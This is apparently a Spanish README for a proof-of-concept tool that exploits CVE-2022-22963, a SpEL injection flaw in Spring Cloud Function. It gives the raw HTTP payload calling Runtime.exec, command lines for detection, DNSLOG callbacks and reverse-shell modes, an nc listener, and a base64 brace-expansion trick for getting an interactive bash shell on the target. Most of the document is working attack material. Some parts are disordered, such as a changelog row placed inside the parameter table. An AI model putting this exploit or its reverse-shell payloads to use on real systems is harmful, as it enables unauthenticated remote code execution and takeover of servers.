
CVE-2022-22963-poc
Herramienta de detección y explotación de la vulnerabilidad de inyección de expresiones SpEL y ejecución remota de código en Spring Cloud Function.
CVE-2022-22963 es una vulnerabilidad RCE de alto riesgo (CVSS 9.8) en la funcionalidad de enrutamiento de Spring Cloud Function. Cuando la aplicación tiene habilitado el endpoint /functionRouter, el valor de la cabecera spring.cloud.function.routing-expression se ejecuta directamente como una expresión SpEL (Spring Expression Language), lo que permite a un atacante ejecutar comandos arbitrarios en el servidor objetivo sin necesidad de autenticación.
Versiones afectadas:
| Rama | Versiones afectadas | Versión corregida |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
Principio de la vulnerabilidad:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
Tras ejecutar la expresión SpEL, exec() devuelve un objeto Process. Spring lanza una excepción al intentar serializarlo y la respuesta es HTTP 500. El comando se ejecuta de forma asíncrona en segundo plano; el resultado no se muestra en la respuesta HTTP, por lo que debe confirmarse mediante canales laterales como DNSLOG o una reverse shell.
ping al dominio DNSLOG y confirma la ejecución del comando a través de los registros DNSpip install requests
Python 3.6+ sin otras dependencias.
python3 CVE-2022-22963.py -u <URL_objetivo> [opciones]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com ¡es vulnerable!
Se utiliza para confirmar que el comando se ejecutó realmente cuando no hay salida visible:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload enviado, compruebe si abc123.dnslog.cn ha recibido una solicitud DNS (confirma la ejecución real)
A continuación, verifique en la plataforma DNSLOG si se ha recibido una consulta DNS desde la IP del objetivo.
Abra un listener en la máquina del atacante:
nc -lvnp 9999
Envíe el payload:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload enviado, espere la conexión en 192.168.1.100:9999 (solo objetivos Linux/bash)
Nota: la reverse shell depende de que el sistema objetivo tenga soporte para
/dev/tcp; solo funciona en entornos Linux + bash, y no es compatible con objetivos Windows ni con shells como sh/ash/dash.
La solicitud de detección envía una expresión SpEL real a /functionRouter:
T(java.lang.Runtime).getRuntime().exec('id')
Process no puede serializarse → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) no pasa por la interpretación de la shell: divide la cadena de comandos directamente por espacios y no puede manejar tuberías ni redirecciones. La herramienta lo resuelve de la siguiente manera:
{cmd,arg} en lugar de espacios-c del bash del objetivo se encarga de las tuberías y redireccionesbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec divide por espacios
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c aplica brace expansion al argumento
echo BASE64 | base64 -d | bash -i
| Fecha | Versión | Descripción |
|---|---|---|
| 2023-12-28 | v1.0 | Publicación de la versión inicial |
| 2025-10-09 | v1.1 | Refactorización del código, optimización del manejo de parámetros y del control de errores |
Esta herramienta está destinada exclusivamente a investigación de seguridad, pruebas de penetración autorizadas y fines educativos.
El uso de esta herramienta implica que usted acepta:
El autor no se hace responsable de ningún uso no autorizado ni de sus consecuencias.
| Parámetro | Descripción | Valor por defecto |
|---|
-u, --url | URL del objetivo (obligatorio) | — |
-c, --check | Comprueba si la vulnerabilidad existe | — |
-m, --mode | Modo de explotación: dnslog o shell | — |
-d, --dns | Dominio DNSLOG (se usa con -m dnslog) | — |
-i, --ip | IP del receptor de la reverse shell (se usa con -m shell) | — |
-p, --port | Puerto del receptor de la reverse shell | 9999 |
-t, --timeout | Tiempo de espera de la solicitud (segundos) | 5 |
| 2026-06-29 | v1.2 | Corrección de falsos positivos en la detección, de la concatenación de rutas context path y de la semántica del valor de retorno del exploit |